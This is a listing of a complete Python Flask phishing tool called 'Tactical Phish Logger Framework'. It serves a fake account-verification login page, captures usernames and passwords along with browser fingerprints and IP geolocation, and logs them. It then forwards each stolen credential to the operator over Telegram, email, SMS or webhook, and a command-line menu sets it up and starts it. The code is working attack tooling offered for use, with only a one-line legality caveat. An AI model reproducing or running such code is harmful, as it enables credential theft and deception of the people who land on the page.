· 3 months ago · Jul 10, 2025, 08:05 PM
1import os
2import sys
3import uuid
4import json
5import threading
6import smtplib
7import requests
8import cmd
9from flask import Flask, request, Response, session
10from datetime import datetime
11from email.mime.text import MIMEText
12from cryptography.fernet import Fernet
13app = Flask(__name__)
14app.secret_key = os.urandom(24)
15server_thread = None
16CONFIG = {
17 "log_dir": "logs",
18 "plaintext_log": "logs/creds.txt",
19 "json_log": "logs/creds.json",
20 "encrypt_logs": False,
21 "fernet_key": Fernet.generate_key().decode(),
22 "geo_lookup": True,
23 "alert_methods": ["telegram", "email", "sms", "webhook"],
24 "telegram_bot_token": "YOUR_BOT_TOKEN",
25 "telegram_chat_id": "YOUR_CHAT_ID",
26 "email_smtp_server": "smtp.gmail.com",
27 "email_smtp_port": 587,
28 "email_from": "your_email@gmail.com",
29 "email_password": "your_app_password",
30 "email_to": "recipient@example.com",
31 "sms_gateway": "1234567890@vtext.com",
32 "webhook_url": "", # <-- Set your webhook URL here for extended usage
33 "host": "0.0.0.0",
34 "port": 5000
35}
36fernet = Fernet(CONFIG["fernet_key"].encode())
37HTML_PAGE = """
38<!DOCTYPE html>
39<html>
40<head>
41 <title>Account Verification</title>
42 <style>
43 body { background:#f3f3f3; display:flex; align-items:center; justify-content:center; height:100vh; font-family:sans-serif }
44 .box { background:white; padding:30px; border-radius:10px; box-shadow:0 0 15px rgba(0,0,0,0.1); text-align:center; max-width:400px; width:100% }
45 input { width:90%; padding:12px; margin:10px 0; border-radius:5px; border:1px solid #ccc }
46 button { padding:12px 20px; background:#007bff; color:white; border:none; border-radius:5px; cursor:pointer; width:100% }
47 small { color:#777 }
48 </style>
49</head>
50<body>
51 <div class="box">
52 <h2>Account Security Check</h2>
53 <form id="mainForm">
54 <input type="text" name="username" placeholder="Username" required><br>
55 <input type="password" name="password" placeholder="Password" required><br>
56 <input type="hidden" id="fp" name="fp">
57 <button type="submit">Verify</button>
58 <small>Verifying protects your identity.</small>
59 </form>
60 </div>
61 <script>
62 const form = document.getElementById('mainForm');
63 form.fp.value = JSON.stringify({
64 screen: { width: screen.width, height: screen.height },
65 platform: navigator.platform,
66 timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
67 lang: navigator.language,
68 ua: navigator.userAgent
69 });
70 fetch("/api/ping", { method: "POST" });
71 form.addEventListener("submit", e => {
72 e.preventDefault();
73 fetch("/api/collect", { method: "POST", body: new FormData(form) })
74 .then(() => location.href = "https://textme.com");
75 });
76 </script>
77</body>
78</html>
79"""
80def now():
81 return datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC")
82def geo_lookup(ip):
83 if not CONFIG["geo_lookup"]:
84 return {}
85 try:
86 r = requests.get(f"http://ip-api.com/json/{ip}", timeout=5).json()
87 return {
88 "country": r.get("country", ""),
89 "region": r.get("regionName", ""),
90 "city": r.get("city", ""),
91 "lat": r.get("lat", ""),
92 "lon": r.get("lon", ""),
93 "isp": r.get("isp", ""),
94 "org": r.get("org", ""),
95 "asn": r.get("as", "")
96 }
97 except Exception:
98 return {}
99def save_log(entry):
100 os.makedirs(CONFIG["log_dir"], exist_ok=True)
101 plaintext_path = CONFIG["plaintext_log"]
102 json_path = CONFIG["json_log"]
103 try:
104 if CONFIG["encrypt_logs"]:
105 enc = fernet.encrypt(json.dumps(entry).encode()).decode()
106 with open(plaintext_path, "a") as f:
107 f.write(enc + "\n")
108 else:
109 with open(plaintext_path, "a") as f:
110 f.write(json.dumps(entry, indent=2) + "\n")
111 with open(json_path, "a") as f:
112 json.dump(entry, f)
113 f.write(",\n")
114 except Exception as e:
115 print(f"[!] Error writing logs: {e}")
116def send_alert(msg):
117 if "telegram" in CONFIG["alert_methods"]:
118 try:
119 if CONFIG["telegram_bot_token"] != "YOUR_BOT_TOKEN":
120 requests.post(
121 f"https://api.telegram.org/bot{CONFIG['telegram_bot_token']}/sendMessage",
122 data={"chat_id": CONFIG["telegram_chat_id"], "text": msg},
123 timeout=5)
124 except Exception as e:
125 print(f"[!] Telegram error: {e}")
126 if "email" in CONFIG["alert_methods"]:
127 try:
128 m = MIMEText(msg)
129 m["From"] = CONFIG["email_from"]
130 m["To"] = CONFIG["email_to"]
131 m["Subject"] = "Phish Logger Hit"
132 with smtplib.SMTP(CONFIG["email_smtp_server"], CONFIG["email_smtp_port"]) as s:
133 s.starttls()
134 s.login(CONFIG["email_from"], CONFIG["email_password"])
135 s.sendmail(CONFIG["email_from"], CONFIG["email_to"], m.as_string())
136 except Exception as e:
137 print(f"[!] Email error: {e}")
138 if "sms" in CONFIG["alert_methods"]:
139 try:
140 m = MIMEText(msg)
141 m["From"] = CONFIG["email_from"]
142 m["To"] = CONFIG["sms_gateway"]
143 m["Subject"] = ""
144 with smtplib.SMTP(CONFIG["email_smtp_server"], CONFIG["email_smtp_port"]) as s:
145 s.starttls()
146 s.login(CONFIG["email_from"], CONFIG["email_password"])
147 s.sendmail(CONFIG["email_from"], CONFIG["sms_gateway"], m.as_string())
148 except Exception as e:
149 print(f"[!] SMS error: {e}")
150 if "webhook" in CONFIG["alert_methods"]:
151 try:
152 if CONFIG["webhook_url"]:
153 payload = {"text": msg}
154 requests.post(CONFIG["webhook_url"], json=payload, timeout=5)
155 except Exception as e:
156 print(f"[!] Webhook error: {e}")
157@app.before_request
158def assign_session():
159 if "sid" not in session:
160 session["sid"] = str(uuid.uuid4())
161@app.route("/", methods=["GET"])
162def index():
163 return Response(HTML_PAGE, mimetype="text/html")
164@app.route("/api/ping", methods=["POST"])
165def ping():
166 return "", 204
167@app.route("/api/collect", methods=["POST"])
168def collect():
169 ip = request.remote_addr
170 username = request.form.get("username", "")
171 password = request.form.get("password", "")
172 fp_json = request.form.get("fp", "{}")
173 try:
174 fingerprint = json.loads(fp_json)
175 except Exception:
176 fingerprint = {}
177 geo = geo_lookup(ip)
178 log_entry = {
179 "timestamp": now(),
180 "session": session["sid"],
181 "ip": ip,
182 "geo": geo,
183 "fingerprint": fingerprint,
184 "credentials": {
185 "username": username,
186 "password": password
187 }
188 }
189 save_log(log_entry)
190 alert_msg = (
191 f"🛑 Credential Captured\n"
192 f"Time: {log_entry['timestamp']}\n"
193 f"IP: {ip}\n"
194 f"Location: {geo.get('city', 'N/A')}, {geo.get('country', 'N/A')}\n"
195 f"Username: {username}\nPassword: {password}\n"
196 f"User Agent: {fingerprint.get('ua', 'N/A')}"
197 )
198 send_alert(alert_msg)
199 return "", 204
200def run_server():
201 app.run(host=CONFIG["host"], port=CONFIG["port"])
202def start_server():
203 global server_thread
204 if server_thread and server_thread.is_alive():
205 print("[!] Server is already running.")
206 return
207 server_thread = threading.Thread(target=run_server, daemon=True)
208 server_thread.start()
209 print(f"[+] Server started on http://{CONFIG['host']}:{CONFIG['port']}")
210def stop_server():
211 print("[!] Flask development server cannot be stopped programmatically.")
212 print("[!] To stop, press Ctrl+C in the terminal or close the process.")
213class PhishCLI(cmd.Cmd):
214 intro = "Welcome to Tactical Phish Logger Framework CLI.\nType help or ? to list commands.\n"
215 prompt = "(phish) "
216 def do_show(self, arg):
217 "Show current configuration"
218 for k, v in CONFIG.items():
219 print(f"{k}: {v}")
220 def do_set(self, arg):
221 "Set configuration option: set <key> <value>\nFor list values, separate by commas.\nFor booleans, use true/false."
222 try:
223 key, value = arg.split(" ", 1)
224 if key not in CONFIG:
225 print(f"[!] Unknown config key '{key}'")
226 return
227 if isinstance(CONFIG[key], bool):
228 value = value.lower() in ("true", "1", "yes")
229 elif isinstance(CONFIG[key], list):
230 value = [x.strip() for x in value.split(",")]
231 elif isinstance(CONFIG[key], int):
232 value = int(value)
233 CONFIG[key] = value
234 if key == "fernet_key":
235 global fernet
236 fernet = Fernet(value.encode())
237 print(f"[+] Set {key} = {value}")
238 except ValueError:
239 print("[!] Usage: set <key> <value>")
240 except Exception as e:
241 print(f"[!] Error setting config: {e}")
242 def do_start(self, arg):
243 "Start phishing server"
244 start_server()
245 def do_stop(self, arg):
246 "Stop phishing server"
247 stop_server()
248 def do_save(self, arg):
249 "Save current config to 'phish_config.json'"
250 try:
251 with open("phish_config.json", "w") as f:
252 json.dump(CONFIG, f, indent=2)
253 print("[+] Configuration saved to phish_config.json")
254 except Exception as e:
255 print(f"[!] Failed to save config: {e}")
256def do_load(self, arg):
257 "Load config from 'phish_config.json'"
258 try:
259 with open("phish_config.json") as f:
260 loaded = json.load(f)
261 CONFIG.update(loaded)
262 global fernet
263 fernet = Fernet(CONFIG["fernet_key"].encode())
264 print("[+] Configuration loaded from phish_config.json")
265 except Exception as e:
266 print(f"[!] Failed to load config: {e}")
267 def do_clear(self, arg):
268 "Clear the terminal screen"
269 os.system('cls' if os.name == 'nt' else 'clear')
270 def do_exit(self, arg):
271 "Exit CLI (stop server manually if running)"
272 print("Exiting...")
273 sys.exit(0)
274if __name__ == "__main__":
275 print("""
276Tactical Phish Logger Framework
277--------------------------------
278Instructions:
279- Use 'show' to view current config.
280- Use 'set <key> <value>' to update config (e.g., set telegram_bot_token YOURTOKEN).
281- Use 'start' to launch phishing server (runs in background).
282- Use 'stop' to get info on stopping (Ctrl+C needed).
283- Use 'save' to save config to phish_config.json.
284- Use 'load' to load config from phish_config.json.
285- Use 'clear' to clear the screen.
286- Use 'exit' to quit this CLI.
287Before starting the server, ensure you configure:
288- telegram_bot_token and telegram_chat_id for Telegram alerts.
289- email_from, email_password, email_to for email alerts.
290- sms_gateway for SMS alerts (email-to-text gateway).
291- webhook_url for webhook alerts if used.
292- Adjust alert_methods list as needed (e.g., telegram,email,webhook).
293The phishing page mimics a login form and captures credentials with enhanced metadata.
294Remember: Running this tool may be illegal without authorization. Use responsibly.
295""")
296 PhishCLI().cmdloop()